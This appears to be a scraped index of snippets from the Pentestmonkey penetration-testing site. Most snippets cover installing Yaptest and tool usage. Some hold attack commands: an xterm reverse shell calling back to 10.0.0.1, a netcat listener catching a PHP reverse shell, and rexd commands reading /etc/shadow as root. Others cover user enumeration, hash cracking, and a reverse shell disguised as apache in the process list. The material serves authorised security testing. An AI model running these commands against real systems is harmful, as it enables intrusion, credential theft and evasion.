Pentestmonkey

https://pentestmonkey.net
Admin
Pentestmonkey is a resource and blog providing tools, cheat sheets, and articles to assist...
Tokens:138,720
Snippets:1,398
Trust Score:9.5
Update:8 months ago
Show doc for...
Tokens:
Raw
### Start PostgreSQL Database Server

Source: https://pentestmonkey.net/projects/yaptest/yaptest-installation

This command starts the PostgreSQL database server, which is a prerequisite for installing Yaptest. The exact command may vary depending on the specific Linux distribution.

```bash
# /etc/init.d/postgresql start
```

--------------------------------

### Install Yaptest Program and Database Files

Source: https://pentestmonkey.net/projects/yaptest/yaptest-installation

This command installs the main Yaptest program and its associated database files. This is the final step in the Yaptest installation process.

```bash
# make install
```

--------------------------------

### Run Yaptest Framework

Source: https://pentestmonkey.net/projects/yaptest/yaptest-installation

This command initiates the Yaptest framework after installation and configuration. It is the primary command to start using the tool for its intended scanning and auditing purposes.

```bash
yaptest
```

--------------------------------

### SSH Key Setup and Agent Initialization

Source: https://pentestmonkey.net/tools/timing-attack-checker

This snippet shows the commands to generate an SSH key, start an ssh-agent, and add the generated key to the agent. This is a prerequisite for the timing attack, ensuring the SSH client offers a key for authentication.

```bash
ssh-keygen -f key1
eval `ssh-agent`
ssh-add key1
```

--------------------------------

### Install Yaptest Template Database

Source: https://pentestmonkey.net/projects/yaptest/yaptest-installation

This command installs the 'yaptest_template' database, which serves as the base for all test databases used by Yaptest. This step is crucial for the proper functioning of the Yaptest framework.

```bash
# make database
```

--------------------------------

### Compile and Install Modified Rexd Client (Linux)

Source: https://pentestmonkey.net/blog/rexd-client-for-linux

These commands detail the process of compiling and installing the modified rexd client on a Linux system. It involves extracting an archive, navigating to the directory, and running the make install command.

```bash
tar xfz on.tar.gz
cd on
make
sudo make install
```

--------------------------------

### Start and Manage SSH Agent

Source: https://pentestmonkey.net/cheat-sheet/ssh-cheat-sheet

Commands to start an SSH agent and add private keys to it. 'eval `ssh-agent`' starts the agent, and 'ssh-add ~/dir/mykey' adds a specific key, prompting for a passphrase if encrypted.

```bash
eval `ssh-agent`
ssh-add ~/dir/mykey
```

--------------------------------

### Rexd Client Usage and Examples

Source: https://pentestmonkey.net/blog/rexd-client-for-linux

This section provides the help message and usage examples for the modified 'on' client, which is a rexd client. It demonstrates how to specify user and group IDs, target host, and the command to execute remotely.

```bash
$ on
Usage: on [ -u uid ] [ -g gid ] [ -h hostname ] ip command...

Examples:
   on 10.0.0.1 cat /etc/shadow
   on 10.0.0.1 -u 1 10.0.0.1 id

on is a client for rexd, the Remote Execution Daemon. To check if a target
is running rexd, do 'rpcinfo -p ip' and check for rexd (program number 100017).

If rexd is running on the target you should be able to execute commands on the
remote host as any user you like.

This program is a minor modification of 'rex' by Wietse Venema, part of SATAN:
http://www.porcupine.org/satan/mirrors.html
```

```bash
$ on 10.0.0.1 id
uid=0(root) gid=0(root)
$ on -u 1 -g 2 10.0.0.1 id
uid=1(daemon) gid=2(bin)
$ on 10.0.0.1 cat /etc/shadow
root:.VLpoFoQoa8eY:14175::::::
daemon:NP:6445::::::
bin:NP:6445::::::
...
```

--------------------------------

### Example Unix Privesc Check Script Output

Source: https://pentestmonkey.net/tools/audit/unix-privesc-check

An example of the output generated by the unix-privesc-check script. It includes introductory information, system assumptions, and specific checks for misconfigurations like external authentication in /etc/passwd and nsswitch.conf settings.

```text
Starting unix-privesc-check v1.0 ( http://pentestmonkey.net/tools/unix-privesc-check )

This script checks file permissions and other settings that could allow
local users to escalate privileges.

Use of this script is only permitted on systems which you have been granted
legal permission to perform a security assessment of.  Apart from this
condition the GPL v2 applies.

Search the output below for the word 'WARNING'.  If you don't see it then
this script didn't find any problems.

Assuming the OS is: linux

############################################
Checking if external authentication is allowed in /etc/passwd
############################################
No +:... line found in /etc/passwd

############################################
Checking nsswitch.conf for addition authentication methods
############################################
Neither LDAP nor NIS are used for authentication
```

--------------------------------

### Check Yaptest Dependencies

Source: https://pentestmonkey.net/projects/yaptest/yaptest-installation

This command initiates a dependency check for Yaptest, verifying the presence of required PERL modules and external programs. It provides guidance on installing any missing components.

```bash
# make checkdep
```

--------------------------------

### Install Yapscan on Linux

Source: https://pentestmonkey.net/tools/misc/yapscan

Steps to download, extract, compile, and install Yapscan on a Linux system. Requires root privileges and assumes the tarball is downloaded.

```bash
su -
cd /usr/local/src
tar xfz yapscan-X.Y.tar.gz
cd yapscan-X.Y
make
make install
```

--------------------------------

### Install XML::Simple PERL Module

Source: https://pentestmonkey.net/tools/audit/exploit-suggester

This snippet shows how to install the XML::Simple PERL module using the CPAN shell, which is a dependency for the exploit-suggester script.

```bash
# perl -MCPAN -e shell

> install XML::Simple
```

--------------------------------

### Install ident-user-enum.pl Script

Source: https://pentestmonkey.net/tools/user-enumeration/ident-user-enum

Steps to 'install' the ident-user-enum.pl script by copying it to the system's PATH and setting appropriate permissions. This makes the script executable from any directory.

```bash
# install -o root -m 0755 ident-user-enum.pl /usr/local/bin/
```

--------------------------------

### Example User List Format

Source: https://pentestmonkey.net/tools/user-enumeration/smtp-user-enum

This example shows the expected format for a file containing a list of usernames to be checked by smtp-user-enum. Each username should be on a new line.

```bash
$ head users.txt
 root
 bin
 daemon
 adm
 lp
 sync
 shutdown
 halt
 mail
 news
```

--------------------------------

### Create New Database with yaptest-wizard.pl

Source: https://pentestmonkey.net/yaptest/using/yaptest-user-guide

This snippet demonstrates the interactive process of creating a new database using the yaptest-wizard.pl script. It guides the user through selecting the option to create a database and naming it, which also creates a corresponding directory for storing tool output. The wizard handles the creation of the database and configuration files.

```bash
$ yaptest-wizard.pl

**************************************************************************
*                       Starting yaptest-wizard.pl                       *
*  [ Using yaptest v0.0.7 - http://pentestmonkey.net/projects/yaptest ]  *
**************************************************************************

                    __  __            __            __
                     / /___ _____  / /____  _____/ /_
                       / __ `/ __ / __/ _ / ___/ __/
                     / /_/ / /_/ / /_/  __(__  ) /_
                    /_/__,_/ .___/__/___/____/__/
                           /_/
                Doing the tedious bits so you don't have to

    THIS WIZARD CURRENLTY ONLY DEALS WITH THE CREATION OF NEW DATABASES
                               AND TEST AREAS
=========================================================================
Database Configuration

You are currenlty not configured to use a database.

Options:
  1: Create a new database
  q: Quit

NB: If you previously created a database and want to use it,
    quit, change to the corresponding directory,
    'source env.sh', then re-run this wizard.

Enter option (1, q): 1
-------------------------------------------------------------------------
=========================================================================
Create New Database

Enter a name for the new database.  A subdirectory of the same name will
be created at the same time.

Current Directory: /home/u
Enter name for new yaptest database (or CTRL-C to quit): abc_company
-------------------------------------------------------------------------
Database name: abc_company
Creating directory 'abc_company'...done
Creating database 'abc_company'
Config file: /home/u/abc_company/yaptest.conf
Writing to config file /home/u/abc_company/yaptest.conf
Creating file env.sh
Restarting wizard with new configuration

```

--------------------------------

### Configure Yaptest Default Scan Parameters

Source: https://pentestmonkey.net/projects/yaptest/yaptest-installation

This configuration file sets default parameters for Yaptest scans, including Nessus connection details, database settings, dictionary file paths, and paths to external tools like John the Ripper and Httprint. Users should edit these paths to match their system setup and dictionary locations.

```ini
nessus_config_template = /usr/local/share/yaptest/nessusrc-template
nessusd_ip = 127.0.0.1
nessusd_password = nessus
nessusd_port = 1241
nessusd_username = nessus
yaptest_dbhost = 127.0.0.1
yaptest_dbpassword =
yaptest_dbport = 5432
yaptest_dbtemplate = yaptest_template
yaptest_dbuser = yaptest_user
yaptest_debug = 0
yaptest_interface = eth0
dict_ftp_passwords = /home/u/dicts/ftp-passwords.txt
dict_ftp_usernames = /home/u/dicts/ftp-usernames.txt
dict_mssql_passwords = /home/u/dicts/mssql-passwords.txt
dict_mssql_usernames = /home/u/dicts/mssql-usernames.txt
dict_rlogin_passwords = /home/u/dicts/rlogin-passwords.txt
dict_rlogin_usernames = /home/u/dicts/rlogin-usernames.txt
dict_smb_passwords = /home/u/dicts/smb-passwords.txt
dict_smb_shares = /home/u/dicts/smb_shares.txt
dict_smb_usernames = /home/u/dicts/smb-usernames.txt
dict_snmp = /home/u/dicts/snmp.txt
dict_ssh_passwords = /home/u/dicts/ssh-passwords.txt
dict_ssh_usernames = /home/u/dicts/ssh-usernames.txt
dict_tftp_files = /home/u/dicts/tftp-files.txt
yaptest_john_command = /usr/bin/john
yaptest_john_pot = /home/u/.john/john.pot
yaptest_dictionaries = /home/u/dicts/
httprint_sig_file = /home/u/src/httprint_301/linux/signatures.txt
hoppy_keyword_file = /home/u/src/hoppy/response-keywords
hoppy_method_file = /home/u/src/hoppy/http-methods
```

--------------------------------

### Connecting to SMB Share with smbclient

Source: https://pentestmonkey.net/blog/quick-look-at-win2k8

This command uses `smbclient` to connect to an SMB share (specifically the C$ administrative share) on a Windows machine. It retrieves the server banner, which can provide information about the operating system version and service pack level.

```bash
$ smbclient //10.0.0.1/c$ -U%
Domain=[WORKGROUP] OS=[Windows Server (R) 2008 Standard 6001 Service Pack 1, v.275] Server=[Windows Server (R) 2008 Standard 6.0]
```

--------------------------------

### Unpack Yaptest Distribution Tarball

Source: https://pentestmonkey.net/projects/yaptest/yaptest-installation

This command unpacks the Yaptest distribution tarball, which is necessary before proceeding with installation or dependency checks. It requires the tarball file to be present in the current directory.

```bash
# tar xfz yaptest-x.y.z.tar.gz
# cd yaptest-x.y.z
```

--------------------------------

### Yaptest Tool Information

Source: https://pentestmonkey.net/tag/pentest/page/4

Details about the Yaptest tool, including information on its project page and download links found on the installation page. Yaptest is identified as a pentesting tool.

```text
## Yaptest
Full details about Yaptest can be found on its project page . If you’re after the download link, it’s on the installation page.
Yaptest pentest, tool, yaptest, 0
```

--------------------------------

### Configure Yaptest Default Settings

Source: https://pentestmonkey.net/yaptest/installing/yaptest-installation

This snippet shows the default configuration parameters for Yaptest, which are set in the ~/.yaptestrc file. These settings control scan behavior, dictionary paths, and tool integrations. Users should edit these values to match their environment and specific needs.

```shell
nessus_config_template = /usr/local/share/yaptest/nessusrc-template
nessusd_ip = 127.0.0.1
nessusd_password = nessus
nessusd_port = 1241
nessusd_username = nessus
yaptest_dbhost = 127.0.0.1
yaptest_dbpassword = 
yaptest_dbport = 5432
yaptest_dbtemplate = yaptest_template
yaptest_dbuser = yaptest_user
yaptest_debug = 0
yaptest_interface = eth0
dict_ftp_passwords = /home/u/dicts/ftp-passwords.txt
dict_ftp_usernames = /home/u/dicts/ftp-usernames.txt
dict_mssql_passwords = /home/u/dicts/mssql-passwords.txt
dict_mssql_usernames = /home/u/dicts/mssql-usernames.txt
dict_rlogin_passwords = /home/u/dicts/rlogin-passwords.txt
dict_rlogin_usernames = /home/u/dicts/rlogin-usernames.txt
dict_smb_passwords = /home/u/dicts/smb-passwords.txt
dict_smb_shares = /home/u/dicts/smb_shares.txt
dict_smb_usernames = /home/u/dicts/smb-usernames.txt
dict_snmp = /home/u/dicts/snmp.txt
dict_ssh_passwords = /home/u/dicts/ssh-passwords.txt
dict_ssh_usernames = /home/u/dicts/ssh-usernames.txt
dict_tftp_files = /home/u/dicts/tftp-files.txt
yaptest_john_command = /usr/bin/john
yaptest_john_pot = /home/u/.john/john.pot
yaptest_dictionaries = /home/u/dicts/
httprint_sig_file = /home/u/src/httprint_301/linux/signatures.txt
hoppy_keyword_file = /home/u/src/hoppy/response-keywords
hoppy_method_file = /home/u/src/hoppy/http-methods
```

--------------------------------

### X Server (Xnest) for Xterm

Source: https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Starts an Xnest server to listen for incoming Xterm connections. This command should be run on the attacker's machine.

```bash
Xnest :1
```

--------------------------------

### Linux RSH Configuration for Solaris Compatibility

Source: https://pentestmonkey.net/tag/pentest/page/4

This section addresses the differences in RSH/Rlogin behavior between Linux and Solaris, providing solutions to make Linux systems behave like Solaris for RSH-based challenges. It aims to simplify the setup of hacker challenges that rely on RSH functionality.

```text
## Getting RSH on Linux to work like RSH on Solaris
If you’ve tried setting up rsh/rlogin based hacker challenges on Linux over the last few years you’ve probably noticed that Linux (I tried Redhat and Debian) doesn’t behave like Solaris. This makes either for really bad hacker challenges, or for ones involving lots of Solaris boxes. I finally found the answer recently so thought I’d […]
```

--------------------------------

### Install PostgreSQL 8.0.x on Mac

Source: https://pentestmonkey.net/yaptest/installing/yaptest-mac-install-notes

Installs PostgreSQL version 8.0.x using Macports. This is a prerequisite for installing Yaptest on Mac.

```bash
port install postgresql80-server
```

--------------------------------

### TCP SYN Scanning Examples

Source: https://pentestmonkey.net/tools/misc/yapscan

Demonstrates various ways to perform TCP SYN scans using yapscan, including specifying host ranges, individual ports, port lists from files, and common port shortcuts. It also shows how to scan from external networks and specify network interfaces.

```bash
# yapscan -sS 192.168.0.1-254 -p 1-1024
# yapscan -sS 10.0.0.1-10.0.255.255 -p 21,22,23,53,80,139,445,3389
# yapscan -sS 172.16.0.0/16 -p 80
# yapscan -sS -f targets-ips.txt -p 4444
# yapscan -sS www.example.com -p 1-65535 -c
# yapscan -sS 127.0.0.1 -i lo -P common
# yapscan -sS router -i eth1 -p telnet,80,443,ssh,6000-6063
# yapscan -sS -f mytargets.txt -P myports.txt
# yapscan -sS -f mytargets.txt -p -
```

--------------------------------

### Example Netcat Listener Output with Shell

Source: https://pentestmonkey.net/tools/web-shells/php-reverse-shell

This output demonstrates a successful connection to the netcat listener. It shows the web server connecting back and executing initial commands like 'uname -a', 'w', 'id', and 'pwd', providing system information.

```bash
$ nc -v -n -l -p 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 58012
Linux somehost 2.6.19-gentoo-r5 #1 SMP PREEMPT Sun Apr 1 16:49:38 BST 2007 x86_64 AMD Athlon(tm) 64 X2 Dual Core Processor 4200+ AuthenticAMD GNU/Linux
 16:59:28 up 39 days, 19:54,  2 users,  load average: 0.18, 0.13, 0.10
USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT
root   :0        19May07 ?xdm?   5:10m  0.01s /bin/sh
uid=81(apache) gid=81(apache) groups=81(apache)
sh: no job control in this shell
sh-3.2$
```

--------------------------------

### Use Mac-Friendly Install Scripts for Yaptest

Source: https://pentestmonkey.net/yaptest/installing/yaptest-mac-install-notes

Executes Mac-specific install scripts introduced in version 0.0.9 of Yaptest to facilitate installation on macOS.

```bash
# make databasemac
# make installmac
```

--------------------------------

### Fix 'make install' PERLDIR on Mac

Source: https://pentestmonkey.net/yaptest/installing/yaptest-mac-install-notes

Modifies the Makefile to correct the PERLDIR variable, ensuring that Perl modules are installed in the correct location for Macports' PERL installation.

```makefile
PERLDIR=/opt/local/lib/perl5/site_perl
```

--------------------------------

### Crack Generic Salted SHA-1 Hashes with John the Ripper

Source: https://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats

Illustrates the process of cracking generic salted SHA-1 hashes using John the Ripper. It includes examples of the hash format and the command to initiate the cracking process. This is a common hashing algorithm for various applications.

```bash
$ cat hashes.txt
$SHA1p$salt$59b3e8d637cf97edbe2384cf59cb7453dfe30789
$ john hashes.txt
$ john --format=sha1-gen hashes.txt
```

```bash
$ cat hashes.txt
username:$SHA1p$salt$59b3e8d637cf97edbe2384cf59cb7453dfe30789
$ john hashes.txt
$ john --format=sha1-gen hashes.txt
```

```bash
$ cat hashes.txt
username:$SHA1p$salt$59b3e8d637cf97edbe2384cf59cb7453dfe30789:::::::
$ john hashes.txt
$ john --format=sha1-gen hashes.txt
```

--------------------------------

### Install PERL Postgres DBI Driver on Mac

Source: https://pentestmonkey.net/yaptest/installing/yaptest-mac-install-notes

Installs the PERL's Postgres DBI driver using Macports. Note that this may pull in PostgreSQL 8.3 as a dependency, which is not ideal for Yaptest 8.0.

```bash
port install p5-class-dbi-pg
```

--------------------------------

### Xterm Reverse Shell Setup

Source: https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Initiates an Xterm session that attempts to connect back to a specified IP address and port. This requires an X server listening on the target machine.

```bash
xterm -display 10.0.0.1:1
```

--------------------------------

### Generate and Use SSH Keys for Authentication

Source: https://pentestmonkey.net/cheat-sheet/ssh-cheat-sheet

Provides commands for generating SSH public/private key pairs using ssh-keygen and configuring the authorized_keys file on the server for passwordless authentication. It also shows how to connect using a specific private key.

```bash
ssh-keygen -f mykey
```

```bash
cat mykey.pub
```

```bash
ssh-keygen -f mykey -t rsa -b 768
```

```bash
cat mykey.pub
```

```bash
ssh -i mykey user@10.0.0.1
```

```bash
chmod 600 "~/.ssh/authorized_keys"
```

--------------------------------

### Create New Test Area with yaptest-wizard.pl

Source: https://pentestmonkey.net/yaptest/using/yaptest-user-guide

This snippet illustrates the process of creating a new test area within an existing database using yaptest-wizard.pl. After a database is configured, the user can choose to create a new test area, providing a name that will also serve as a directory name. This step is crucial for organizing different testing scenarios or client engagements.

```bash
=========================================================================
Database Configuration
You are currently configured to use:
  Database:    abc_company
  Test Dir:    /home/u/abc_company
The following test areas exist in this database:
  <none>
Options:
  1: Create a new test area in above database
  2: Create a new database
  q: Quit

NB: If you previously created different database and want
    to use it, quit, change to the corresponding directory,
    'source env.sh', then re-run this wizard.
Enter option (1, 2, q): 1
-------------------------------------------------------------------------
=========================================================================
Create New Test Area
To create a new test area (internal, vlan100, network123, etc.) enter the
test area name below.  A directory of the name name will be created at
same time.

Current Directory: /home/u/abc_company
Enter name for new test area (or CTRL-C to quit): external
-------------------------------------------------------------------------
Database name: external
Creating directory 'external'...done
Creating test area 'external'
Writing to config file yaptest.conf
Creating file env.sh
-------------------------------------------------------------------------
=========================================================================
Now quit the wizard with q:
Enter option (1, 2, q): q
-------------------------------------------------------------------------
```

--------------------------------

### Install PERL Modules with CPAN

Source: https://pentestmonkey.net/tools/user-enumeration/finger-user-enum

Demonstrates how to install required PERL modules using the CPAN shell. This is a prerequisite for running the finger-user-enum script.

```shell
# perl -MCPAN -e shell
cpan> install Getopt::Std
```

--------------------------------

### Crack FreeBSD MD5 Hashes with John the Ripper

Source: https://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats

Demonstrates cracking FreeBSD MD5 hashes (including Apache MD5 variants) with John the Ripper. The examples show different hash formats that can be used in the hashes.txt file and the command to specify the 'md5' format for cracking.

```bash
$ cat hashes.txt
$1$12345678$aIccj83HRDBo6ux1bVx7D1
$ john hashes.txt
$ john --format=md5 hashes.txt
```

```bash
$ cat hashes.txt
username:$1$12345678$aIccj83HRDBo6ux1bVx7D1
$ john hashes.txt
$ john --format=md5 hashes.txt
```

```bash
$ cat hashes.txt
username:$1$12345678$aIccj83HRDBo6ux1bVx7D1:::::::
$ john hashes.txt
$ john --format=md5 hashes.txt
```

```bash
$ cat hashes.txt
$apr1$Q6ZYh...$RV6ft2bZ8j.NGrxLYaJt9.
$ john hashes.txt
$ john --format=md5 hashes.txt
```

```bash
$ cat hashes.txt
username:$apr1$Q6ZYh...$RV6ft2bZ8j.NGrxLYaJt9.
$ john hashes.txt
$ john --format=md5 hashes.txt
```

```bash
$ cat hashes.txt
username:$apr1$Q6ZYh...$RV6ft2bZ8j.NGrxLYaJt9.:::::::
$ john hashes.txt
$ john --format=md5 hashes.txt
```

--------------------------------

### Create Postgres User on Mac

Source: https://pentestmonkey.net/yaptest/installing/yaptest-mac-install-notes

Creates a new user named 'postgres' using the psql client, as a 'postgres' user does not exist by default on Mac installations.

```bash
su - postgresql80
psql8 template1
> CREATE USER postgres;
```

--------------------------------

### Using ftp-user-enum.pl for GNU inetutils ftpd User Enumeration

Source: https://pentestmonkey.net/tools/user-enumeration/ftp-user-enum

This example demonstrates the usage of the ftp-user-enum.pl script to enumerate users on a GNU inetutils ftpd daemon. It specifies the 'iu' mode for GNU inetutils, a user list file, and the target IP address. The output shows successfully enumerated usernames.

```bash
$ ./ftp-user-enum.pl -M iu -U users.txt -t 10.0.0.2
Starting ftp-user-enum v1.0 ( http://pentestmonkey.net/tools/ftp-user-enum )

  ----------------------------------------------------------
 |                   Scan Information                       |
  ----------------------------------------------------------

 Mode ..................... iu
 Worker Processes ......... 5
 Usernames file ........... users.txt
 Target count ............. 1
 Username count ........... 149
 Target TCP port .......... 21
 Query timeout ............ 15 secs

 ######## Scan started at Sat Mar 17 16:29:28 2007 #########
lp@10.0.0.2: lp
sync@10.0.0.2: sync
mail@10.0.0.2: mail
root@10.0.0.2: root
news@10.0.0.2: news
uucp@10.0.0.2: uucp
man@10.0.0.2: man
user@10.0.0.2: user
postgres@10.0.0.2: postgres
nobody@10.0.0.2: nobody
sshd@10.0.0.2: sshd
games@10.0.0.2: games
bin@10.0.0.2: bin
daemon@10.0.0.2: daemon
 ######## Scan completed at Sat Mar 17 16:29:29 2007 #########
14 results.

149 queries in 1 seconds (149.0 queries / sec)
```

--------------------------------

### Filter Open Ports by RPC Service using yaptest-ports.pl

Source: https://pentestmonkey.net/projects/yaptest/yaptest-user-guide

This example shows how to query yaptest-ports.pl for hosts running a specific RPC service (e.g., 'sadmind') and then extract the corresponding IP addresses using 'cut' to save them into a file.

```bash
$ yaptest-ports.pl query -r sadmind | cut -f 2 > sadmind-ips.txt
```

--------------------------------

### Crack M$ Cache Hashes with John the Ripper

Source: https://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats

Demonstrates cracking M$ Cache Hashes (MSCHash) with John the Ripper. The examples show the hash format and the command to use the 'mscash' format. Note that JTR might detect these as 'HMAC MD5' by default, so explicit format specification is recommended.

```bash
$ cat hashes.txt
M$test1#64cd29e36a8431a2b111378564a10631
$ john hashes.txt # Doesn't work.  JTR detects hash as "HMAC MD5".
$ john --format=mscash hashes.txt
```

```bash
$ cat hashes.txt
username:M$test1#64cd29e36a8431a2b111378564a10631
$ john hashes.txt # Doesn't work.  JTR detects hash as "HMAC MD5".
$ john --format=mscash hashes.txt
```

```bash
$ cat hashes.txt
username:M$test1#64cd29e36a8431a2b111378564a10631:::::::
$ john hashes.txt # Doesn't work.  JTR detects hash as "HMAC MD5".
$ john --format=mscash hashes.txt
```

--------------------------------

### Bruteforce Hostnames with dns-grind (A-record)

Source: https://pentestmonkey.net/tools/misc/dns-grind

This example shows how to use dns-grind to bruteforce hostnames by providing a file of prefixes and a domain suffix. It performs A-record lookups to find associated IP addresses for potential hostnames.

```bash
$ cat hostname-prefixes.txt
 alpha
 backup
 cray
 ...
$ dns-grind.pl -P hostname-prefixes.txt -s pentestmonkey.net A
 www.pentestmonkey.net	213.165.240.11
```

--------------------------------

### Install PERL Modules for ident-user-enum

Source: https://pentestmonkey.net/tools/user-enumeration/ident-user-enum

Instructions for installing necessary PERL modules (IO::Socket::INET, Net::Ident) using CPAN. These modules are required for the ident-user-enum script to function correctly.

```bash
# perl -MCPAN -e shell
# install IO::Socket::INET
# install Net::Ident
```

--------------------------------

### Install Net::DNS Module with CPAN

Source: https://pentestmonkey.net/tools/misc/dns-grind

This snippet demonstrates how to install the Net::DNS Perl module using the CPAN shell. This module is a dependency for dns-grind and is essential for its network operations.

```bash
# perl -MCPAN -e shell
cpan> install Net::DNS
```

--------------------------------

### Perl Reverse Shell Process Example

Source: https://pentestmonkey.net/tools/web-shells/perl-reverse-shell

This example shows how the reverse shell process might appear in a system's process list after being renamed. By default, '/bin/sh -i' is often renamed to '/usr/sbin/apache' to blend in.

```bash
apache   5289  0.0  0.0   2840  1464 ?        Ss   15:31   0:00 /usr/sbin/apache -i
```

--------------------------------

### SSH Client Configuration with ~/.ssh/config

Source: https://pentestmonkey.net/cheat-sheet/ssh-cheat-sheet

Demonstrates how to configure various SSH options, including port, user, X11 forwarding, dynamic forwarding (SOCKS proxy), remote forwarding, and local forwarding, within the ~/.ssh/config file for persistent settings.

```sshconfig
Host 10.0.0.1
  Port 2222
  User ptm
  ForwardX11 yes
  DynamicForward 127.0.0.1:1080
  RemoteForward 80 127.0.0.1:8000
  LocalForward 1521 10.0.0.99:1521
```

--------------------------------

### Crack Generic MD4 Hashes with John the Ripper

Source: https://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats

Illustrates cracking generic salted MD4 hashes using John the Ripper. The examples show the expected hash format in the file and the command to specify the 'md4-gen' format for cracking. This is useful for MD4 hashes with custom salt implementations.

```bash
$ cat hashes.txt
$MD4p$salt$15ad2b7a23e5088942f9d3772181b384
$ john hashes.txt
$ john --format=md4-gen hashes.txt
```

```bash
$ cat hashes.txt
username:$MD4p$salt$15ad2b7a23e5088942f9d3772181b384
$ john hashes.txt
$ john --format=md4-gen hashes.txt
```

```bash
$ cat hashes.txt
username:$MD4p$salt$15ad2b7a23e5088942f9d3772181b384:::::::
$ john hashes.txt
$ john --format=md4-gen hashes.txt
```
Tokens:
Raw